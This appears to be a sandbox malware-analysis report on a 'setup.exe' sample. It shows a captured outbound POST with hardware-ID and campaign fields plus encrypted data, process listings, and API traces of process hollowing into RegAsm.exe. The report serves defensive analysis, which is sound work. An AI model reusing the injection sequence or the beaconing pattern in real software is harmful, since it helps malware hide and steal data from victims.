2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 39 39 34 38 46 32 46 44 44 36 36 33 34 44 31 45 39 42 43 35 44 34 43 46 36 33 42 43 33 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 6e 65 76 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"039948F2FDD6634D1E9BC5D4CF63BC37--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@neve
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: 42 e7 c9 22 02 12 fa b3 73 64 fa 10 38 01 96 08 9b 02 62 f5 48 76 c7 6d 39 49 98 8f f7 67 e7 cb a1 56 15 d7 8f 1a ff c9 95 68 34 2d 70 c3 36 d0 eb 9d 34 48 9a 4f 6e 24 ca 50 93 a4 7e d7 0a b2 68 10 e6 d9 5a 6e 34 f4 b6 4f 7d 4c c0 e5 dc 2a e4 9d d6 00 2f 8d 08 eb 72 84 ee e9 3e a6 38 2d 98 a5 ba 61 a6 b4 7b e1 49 5c 67 49 0e 16 d6 5b b2 c8 2d da 99 f0 72 3b 9d 37 39 43 a9 92 9d 2e 51 5c bd c7 0a cf 9a 63 05 aa 84 ec 9a 29 df 0e 53 61 63 7e a0 36 e1 d8 69 35 0e 4d 9d 60 de c2 2d 8a 81 6f 45 78 16 fb 8e 90 ff c1 d8 b5 5b fa 88 0e 6b 08 0f 49 54 4f dc 6a 0c 68 c7 6d be 23 ce bd 8f d3 c4 47 a3 b6 0a 05 13 4e 31 31 64 e7 0f cf 12 2d 8e eb 5e 59 82 1c db 2d 6a 52 83 6b 96 6d f9 51 9c 8c 51 52 5e ec fc 9d 11 85 e6 bb 2c b3 89 c6 4d 5d 8b f7 6b ea 19 d5 a1 7e 49 Data Ascii: B"sd8bHvm9IgVh4-p64HOn$P~hZn4O}L*/r>8-a{I\gI[-r;79C.Q\c)Sac~6i5M`-oEx[kITOjhm#GN11d-^Y-jRkmQQR^,M]k~I
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: 5d 0e ef f6 e6 40 63 5f 2b 9d 9c d8 af 0b 2c e4 83 cb 86 5a c1 0e cc 0b 67 cb 66 0a 91 aa 11 c9 bd 35 ad ee c4 c9 67 1d 69 36 96 5a 38 3f ae 78 dc 90 40 d8 7d a7 9a 1c 4b 5a 4a ee 8f f4 be ff 83 11 25 cb 9f 10 09 19 a8 a1 94 f2 94 db 1d ff eb 36 39 1a e6 99 ef 17 1a ee 63 07 a5 a3 8c 02 d5 83 cd 1a 82 8a 08 18 b6 58 d7 e3 2f 2b ca 09 91 35 46 08 af 72 22 dc aa b7 4a 7f 1e cd 79 52 2a 0c 6d 12 78 bb 5c ed 12 f9 08 c3 0a 36 8c d0 80 a8 f5 37 cd 77 44 03 8b 55 57 9b 03 e8 e8 5d 43 65 2a 72 45 5b f1 3b 15 43 61 af 31 c5 81 60 eb b7 81 d3 0a 56 eb af 18 16 bf 36 62 6d 76 a3 76 a8 9e dd de c8 f3 1f 75 76 cd 4d 8c 2f 8d bc b3 fe b8 7c 7d 2c 71 e0 e4 a1 81 9f 81 eb 6f 19 9e ec 2f cf 7e 4b a8 db 0e 1e 00 15 0b ab f6 25 2a d7 6d 46 5b 53 03 1f ea ff fa ef 2c 6a 6d Data Ascii: ]@c_+,Zgf5gi6Z8?x@}KZJ%69cX/+5Fr"JyRmx\67wDUW]CerE[;Ca1`V6bmvvuvM/\|},qo/~K%*mF[S,jm
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: 73 5f e6 3c 1a 1c d5 62 3d 51 b1 ff 40 b6 a9 ff aa d4 f7 a7 ec 17 c7 2e f4 4a 45 3f 6d ec 3e 0e 56 f8 26 ca da 9b 08 12 8f 80 69 2d 8c b4 0a 48 99 1a 58 25 51 f5 77 0e da 2c 12 c6 a4 6f dc e8 a0 69 61 12 dd 40 2f 81 88 01 97 8f ab 7d 3f 84 c9 d7 3a ad 41 b4 00 3a 67 f1 bd 07 80 72 24 fc ba 81 61 29 9f 59 c9 3d a3 cc 30 fb 40 42 44 8b b6 1b 94 a0 05 f2 dd 39 2a 10 1c 4f a0 5c 62 9e 82 a8 0a 17 d6 b3 91 19 b3 fc 89 60 a2 0c ba fc b1 a1 ea f3 6e f2 54 88 ed ec cd 23 48 e5 e1 94 10 a3 7c d9 60 0b f9 e7 5b 13 53 91 d7 03 c5 56 06 25 fc f5 67 a8 e5 4e 04 48 65 fe 1e 44 01 86 8c ba 3b 5b e4 54 7d d4 9b 82 bd a4 ee bd 16 6a 39 1a db d3 71 e4 78 56 ee 96 c0 5b 2f e3 d6 ad 7b dc 87 28 c0 58 94 6e 15 87 e9 0f 82 fd a0 a6 81 30 c2 22 60 ab ad 09 8c 29 f3 0e df d7 00 Data Ascii: s_<b=Q@.JE?m>V&i-HX%Qw,oia@/}?:A:gr$a)Y=0@BD9*O\b`nT#H\|`[SV%gNHeD;[T}j9qxV[/{(Xn0"`)
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: e1 2f 70 bd c4 46 2a b2 d4 d9 d6 0d ba ce 43 1b 0d f8 ef a6 13 36 24 ea 16 01 d2 95 b3 92 cf f0 67 4f ac b9 d6 47 8b 9b 6a a4 f5 34 0b 11 9b 02 4c 3d ab b2 76 0b 44 7b 4f 36 75 9a 39 f2 6c 9a 50 da f5 d6 95 41 ab 70 c8 fb b1 71 4c 09 29 29 53 5d 00 08 b1 2e 88 91 dc b6 87 0d 0b de ac d8 38 84 47 ed 8c c3 5d 20 f7 1d 10 87 f0 11 3d 0d e4 e0 a9 b5 1e 89 08 cf f8 f7 af f4 8b 9a 42 0f 08 67 8d f3 a7 fa e8 17 c4 7c db 08 c7 7d 3b 7c 3f 74 e6 83 9a 28 ef 21 f1 ff 77 da 35 d8 04 d4 50 0c 88 d1 43 a5 42 e1 19 c7 41 66 44 fd 47 00 d7 5f 80 d5 59 52 75 bf 27 ce 1f 88 65 18 19 b9 14 4e 05 c1 71 9b 8e a9 d1 e1 23 19 9b 2f ac 1f f1 74 98 d1 bf af 88 a1 e0 ee e1 6c 90 e4 45 d6 43 ad 54 9b c1 a6 6a 44 f7 d4 35 dc fe cc 00 6c fa 3b a3 3e b1 72 31 54 48 10 96 04 df 2c f5 Data Ascii: /pF*C6$gOGj4L=vD{O6u9lPApqL))S].8G] =Bg\|};\|?t(!w5PCBAfDG_YRu'eNq#/tlECTjD5l;>r1TH,
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: ee 5c 14 26 93 b0 b4 db 42 b2 da 2f fa 34 7e 63 ea 7d e5 34 0d 84 85 aa 90 c0 82 7d 66 77 bf 76 cb e0 ef ce 8c 0d 73 ed b2 fd 9d 26 b5 fa fd f9 61 3b ee d0 0e d6 3f 2f 65 8a 04 2a 90 68 be 87 03 9c d8 ea df 58 a6 2f b5 99 ab 39 ca 67 37 45 8a 50 8d c4 43 54 e1 57 c4 5e be dc 3c c3 5a 52 ad fe 45 fc 8b d9 ea 8a 20 4d e3 17 f1 d8 34 85 3b 70 86 0c cc c7 99 4f fe 06 1c 12 a7 47 8c aa 7e 60 63 c6 7a 27 f6 cb 63 ea 2b 1b 7c 0b 19 42 a7 ab 0e 3a 6c 32 f6 05 b6 04 50 8e 45 be 4f 15 8f aa af 46 cb 46 91 0a be 38 da ed a9 95 7e 6f 76 2f f8 c9 20 aa e9 f9 7a cd 4a 5b ae b0 e7 7c 9e 21 6c b8 e7 f7 6c 61 6d ea 13 6a f7 07 c2 d4 b7 42 11 67 40 9e de a6 8d e8 db 7e d0 0f 5d 5b fd 21 aa 30 54 bc a7 be 72 93 b3 79 a8 10 6b 2a 44 16 16 f4 bd 67 3a 1f 06 93 cd c2 ce cb 8e Data Ascii: \&B/4~c}4}fwvs&a;?/ehX/9g7EPCTW^<ZRE M4;pOG~`cz'c+\|B:l2PEOFF8~ov/ zJ[\|!llamjBg@~][!0TrykDg:
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: c8 e0 df 86 28 e1 4f eb f4 ef 9f 27 fa 19 d8 6b a7 a4 af a8 dc bc 4a e4 3b 16 f0 3a 4a e5 3f 81 9a de d3 07 1d ca 83 cb ad b7 9e 28 58 cc ea 46 f9 c5 3d 0f d4 39 62 7d e4 92 7b d7 8f 92 b3 7f 50 35 cf 03 76 6c 9c 89 9f 14 93 f6 60 53 9e e3 c2 cf e7 07 bf 1d 60 95 d9 e8 76 f4 75 3e bc 3e 18 52 37 5e 9c da b1 9f 9c eb cc bd 6e 79 dd a1 eb 6c be 66 41 5a 1b b3 f7 67 fe b9 8e ce 58 d9 c1 bd 17 96 fa 16 56 de aa 3b e6 50 ff ec 0f 3b af 65 0e 22 1e 9f 83 f8 24 a1 da 0a df ef 5e 3b 3e 78 32 ce a7 3b ef e1 4b ce 6a e8 4a 9d 3a b1 92 6f b4 ff 6f fa 60 22 6d e0 e1 a4 f3 ed 9a 9c bf c2 16 ba a2 ba 1a a4 2e 85 2d ac 97 dc 40 a1 42 5a c7 d2 72 72 1b c6 52 57 de d2 56 6d 2c 5c 17 0c 7f c6 a6 65 34 5c 69 09 3a 42 12 ab ab f9 4a fd 13 e5 f6 76 61 22 ab 7d 33 eb c7 56 d6 Data Ascii: (O'kJ;:J?(XF=9b}{P5vl`S`vu>>R7^nylfAZgXV;P;e"$^;>x2;KjJ:oo`"m.-@BZrrRWVm,\e4\i:BJva"}3V
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: 53 a9 ed 4d cc cc 2d bf 7a 24 ba b8 55 bf 5d e8 bc 8b ad fb 28 78 39 9f 4a 25 4d 06 e0 9f c8 c3 ed 73 9e a2 cd 81 67 86 57 63 18 c7 f0 2d 0b a2 06 fc eb df 7b 90 bb c1 cc 82 72 0b 5d 10 93 92 54 6f b0 a8 1d 0f 6b 62 3c a7 a4 73 d8 ef 98 ca 28 73 2c 73 3b b6 b3 5b db 0d 86 23 c2 9f e8 b6 1b f1 25 b8 9f 76 7a d3 f9 6a 60 07 c2 b5 1f a1 ed d9 ae cd d9 6d 22 8f 48 d3 5f cf 8a ca 6d c4 e1 51 82 2b 78 e0 67 8e 67 fb 1c 70 1e 2a 9f e7 90 47 de 97 b2 09 90 03 89 7d 37 9a ba 5c 1a b0 8b e6 70 2f a1 f2 97 c4 7b b1 99 17 ed 96 f5 67 08 32 17 03 90 c9 75 0b e3 90 28 99 77 96 c5 9d 82 6e 6c 3c 1b 49 26 52 e4 36 1c 4b f2 e6 3d 84 f8 27 92 ea f6 e3 f3 e7 3d db 44 e5 95 40 c2 ea 6c 7f b3 6e 5a 53 cf 25 a0 a7 64 a6 93 7e 41 ff f5 3e 7d cd d6 57 8b 34 e5 4a f4 c7 23 2f 4a Data Ascii: SM-z$U](x9J%MsgWc-{r]Tokb<s(s,s;[#%vzj`m"H_mQ+xggp*G}7\p/{g2u(wnl<I&R6K='=D@lnZS%d~A>}W4J#/J
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: 1f 67 c0 18 94 4f 64 ef e0 8e 04 93 08 e2 ab 8e c9 a1 7b 12 c6 18 c5 00 b1 68 93 02 27 0d 12 02 ad 60 65 98 75 8f 37 26 63 b6 7e db e2 bb be c1 c6 d5 76 9b f1 54 f1 1c 4e eb 43 c5 7f fb c2 67 b5 cb 78 e2 3c b5 b9 18 b9 94 69 16 26 36 63 c0 26 87 ee 99 33 93 db 8f 26 91 36 d2 96 90 df d0 22 bf 0c 2b 43 b2 cf 64 c2 70 1a 56 66 14 1a dd 6b 86 58 ab 49 6d 21 73 89 e5 c7 ff 44 87 11 b0 42 71 4a a1 50 42 85 40 b3 de 90 49 c5 07 19 6d 2b 7b 5c b7 4d 97 e2 b0 62 36 b4 a2 09 76 98 74 14 60 63 f6 5d d4 2c e5 05 04 91 33 a3 82 ee 92 47 58 2f 18 56 9c 6c a3 4d 89 ad d5 9b 33 14 93 2d 60 6e 60 ec 5f 87 53 01 8f be 88 32 44 11 2a 6a 41 ba 05 6d 23 a0 b8 fb be 1d 6e 69 3e 88 a2 22 f4 01 db b1 a7 04 7b 2d 63 36 be 87 49 ca 56 96 ba 4e 53 58 e4 bf 7c 90 52 d8 81 b6 d7 c6 Data Ascii: gOd{h'`eu7&c~vTNCgx<i&6c&3&6"+CdpVfkXIm!sDBqJPB@Im+{\Mb6vt`c],3GX/VlM3-`n`_S2D*jAm#ni>"{-c6IVNSX\|R
2024-06-23 16:49:04 UTC	15331	OUT	Data Raw: fb 33 9b 28 12 6d 33 a5 e5 35 72 45 6b 2c bc 70 e4 0a 27 4c 31 99 48 f5 06 d0 a0 31 95 ad 46 44 e0 f5 77 e2 ce 16 21 37 3f fa 37 53 f7 f0 01 e5 bf b3 be 39 bc dc fc 21 1a 39 35 1a 87 fd 78 80 ed f1 08 65 e4 57 7c 7e 77 d4 1e 35 5d b8 dc be a4 ff 98 2b 49 2d 30 25 04 39 47 92 72 d0 0d df 72 90 a1 e8 03 44 b8 8d 64 e1 92 78 da 07 10 d1 37 47 28 83 e9 60 b0 ad 0a 88 1b 1c a0 d0 a0 24 a5 95 b5 1f fc d5 a7 be d6 de 42 6f 2a 50 a9 97 80 da 89 88 55 ff 11 ec ee 3a 16 6b ed 07 ae 00 34 0a ef 0a e0 48 77 a4 f6 38 e8 3c 8c 3d 11 dc 25 2e f6 a6 6a 5b 89 1d 1b 74 11 85 7f 11 a3 03 04 91 08 1b b5 2c a0 76 84 d7 59 35 fa 6e 0c eb b1 e4 a6 4d 64 58 c9 3e 91 6c be 9a 8f 80 77 e4 a8 fe 9b b3 9c 87 f1 f0 ad bd 46 3a 5c 6f 1a bc 0e 48 bf 36 32 4c 46 b0 eb 73 7a e6 7c 1f 3a Data Ascii: 3(m35rEk,p'L1H1FDw!7?7S9!95xeW\|~w5]+I-0%9GrrDdx7G(`$Bo*PU:k4Hw8<=%.j[t,vY5nMdX>lwF:\oH62LFsz\|:
2024-06-23 16:49:06 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 23 Jun 2024 16:49:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hkt0ueb1nvqghqjds5db6jrv40; expires=Thu, 17-Oct-2024 10:35:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x6hVmNBKj660TBUh%2BgwcSRiYTyGAf%2FIoKwUoq%2BcE%2BULzJkplOptrzJTHttlkGZ%2FATh7nVlj2fO%2Bk7lNRtiKE5nHOAOGuRVDZRSbrvXKpUvAM1m8AGRz%2FM6dX6TNp03f01JP1HOc76g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8985f8220ee05e6d-EWR alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	12:48:54
Start date:	23/06/2024
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe"
Imagebase:	0xae0000
File size:	536'576 bytes
MD5 hash:	864FB28B0001B98DDD896DBDC604DB30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:48:54
Start date:	23/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xeb0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:48:54
Start date:	23/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 696
Imagebase:	0x290000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	1.1%
Signature Coverage:	4.8%
Total number of Nodes:	559
Total number of Limit Nodes:	5

Executed Functions

Function 0147018D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,014700FF,014700EF), ref: 014702FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0147030F
Wow64GetThreadContext.KERNEL32(0000029C,00000000), ref: 0147032D
ReadProcessMemory.KERNELBASE(000002A0,?,01470143,00000004,00000000), ref: 01470351
VirtualAllocEx.KERNELBASE(000002A0,?,?,00003000,00000040), ref: 0147037C
WriteProcessMemory.KERNELBASE(000002A0,00000000,?,?,00000000,?), ref: 014703D4
WriteProcessMemory.KERNELBASE(000002A0,00400000,?,?,00000000,?,00000028), ref: 0147041F
WriteProcessMemory.KERNELBASE(000002A0,?,?,00000004,00000000), ref: 0147045D
Wow64SetThreadContext.KERNEL32(0000029C,01480000), ref: 01470499
ResumeThread.KERNELBASE(0000029C), ref: 014704A8

Strings

VirtualAlloc, xrefs: 01470254
VirtualAllocEx, xrefs: 0147028D
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 014702FB
ReadProcessMemory, xrefs: 0147027A
Load, xrefs: 014701CB
CreateProcessA, xrefs: 01470241
WriteProcessMemory, xrefs: 014702A0
GetThreadContext, xrefs: 01470267
ResumeThread, xrefs: 014702C9
ress, xrefs: 01470217
aryA, xrefs: 014701D3
GetP, xrefs: 0147020F
SetThreadContext, xrefs: 014702B3
TerminateProcess, xrefs: 0147038B

Memory Dump Source

Source File: 00000000.00000002.2182186387.0000000001470000.00000040.00001000.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1470000_setup.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: 1242b75a35b54b7d74c6c1e05b5068240e9e83f4f50e5014721c8df2a7b4c826
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: A5B1E57260128AAFDB60CF68CC80BDA77A5FF88714F158525FA0CAB351D774FA418B94

Function 00AE8EC0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 165
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_000083C0,00000000,00000000,00000000), ref: 00AE8EE4
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00AE8EEF
CloseHandle.KERNEL32(00000000), ref: 00AE8EF6
GetNumberOfEventLogRecords.ADVAPI32(00000000,00000000), ref: 00AE90C1

Strings

Alister, xrefs: 00AE8F59
Black John, xrefs: 00AE8F09
Agent Smith, xrefs: 00AE8F31

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: CloseCreateEventHandleNumberObjectRecordsSingleThreadWait
String ID: Agent Smith$Alister$Black John
API String ID: 1199335263-3422570730
Opcode ID: e95d525c1d1969b57a16f80d08622676ca58517404bf53b70d18428601b3d39a
Instruction ID: 392a0251f40da1908ea70b208509f3e4dc7ed597dd40315af13ebbb39c69e4ea
Opcode Fuzzy Hash: e95d525c1d1969b57a16f80d08622676ca58517404bf53b70d18428601b3d39a
Instruction Fuzzy Hash: 8A51CC716043809FD324DF25C856B2FBBE1BF94304F148A1CF5869B291EBB4E944CB92

Function 00B094F2 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B091AB: CreateFileW.KERNELBASE(?,00000000,?,00B0959B,?,?,00000000,?,00B0959B,?,0000000C), ref: 00B091C8

GetLastError.KERNEL32 ref: 00B09606
__dosmaperr.LIBCMT ref: 00B0960D
GetFileType.KERNEL32(00000000), ref: 00B09619
GetLastError.KERNEL32 ref: 00B09623
__dosmaperr.LIBCMT ref: 00B0962C
CloseHandle.KERNEL32(00000000), ref: 00B0964C
CloseHandle.KERNEL32(00B02137), ref: 00B09799
GetLastError.KERNEL32 ref: 00B097CB
__dosmaperr.LIBCMT ref: 00B097D2

Strings

H, xrefs: 00B09757

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: e0a14b032e3c256df20765b890dfb7b55d258407e4a9ea069ef688ee32de448e
Instruction ID: 9ecffa8eeedd3f408f47545da9832cf77622b758033b847a55d46bd3d74d3d96
Opcode Fuzzy Hash: e0a14b032e3c256df20765b890dfb7b55d258407e4a9ea069ef688ee32de448e
Instruction Fuzzy Hash: 00A12432A142189FDF199F68DC95BAE7FE1EB06310F140199F912AB3E2DB358D12CB51

Function 00AE83C0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,?), ref: 00AE846E

Strings

MZx, xrefs: 00AE849E, 00AE84A3

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: AllocVirtual
String ID: MZx
API String ID: 4275171209-2575928145
Opcode ID: cf9fdfe4b0a010c176006009e7ec49bc9322850273f8507cec73c5b0318a4166
Instruction ID: 518168d809225735053b70ed0ccfd9928c2de90e4e039041828c29326f1c42f2
Opcode Fuzzy Hash: cf9fdfe4b0a010c176006009e7ec49bc9322850273f8507cec73c5b0318a4166
Instruction Fuzzy Hash: 25412371A002989BDB00EB759D45BEEB7F4EF58314F140259F905B72D2EB75AA808B60

Function 00AFC69C Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00B04071,?,00000000,?,?,00B04312,?,00000007,?,?,00B0480B,?,?), ref: 00AFC6B2
GetLastError.KERNEL32(?,?,00B04071,?,00000000,?,?,00B04312,?,00000007,?,?,00B0480B,?,?), ref: 00AFC6BD

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8dd5f799b28ed1b8157b13f328178fc4d1d816e6dfda2f49db99564452689f60
Instruction ID: b777ce06749db12b829d0f4b79a8241205bb92d1f0951c885d9d442a78111488
Opcode Fuzzy Hash: 8dd5f799b28ed1b8157b13f328178fc4d1d816e6dfda2f49db99564452689f60
Instruction Fuzzy Hash: 9AE08C3214020CABEB112FE1AE0DBA93F98AB507A5F114020F708C7061EF348840C798

Function 00B020F8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00B02132

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: f5d9e93b0436d84952b47deecd6e5fc4543bf728a69cbfa158d3141cdcd09e51
Instruction ID: 5a3355722f86805e7820327ff6649ad02c6d2841fe9d683e3beefc37e80fba01
Opcode Fuzzy Hash: f5d9e93b0436d84952b47deecd6e5fc4543bf728a69cbfa158d3141cdcd09e51
Instruction Fuzzy Hash: 1E112775A0420AAFCF05DF58E94599F7BF4EF48304F0440A9F909EB391D670EA16CB65

Function 00B091AB Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000000,?,00B0959B,?,?,00000000,?,00B0959B,?,0000000C), ref: 00B091C8

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8dd9953f5e5d5d4877ff121dac901247176a672984de4d8df4f26a735c3ac21e
Instruction ID: 761937f4cc838be953479b84dc59f74f43d75d506128ef91c5ff1afcfe6ddcf6
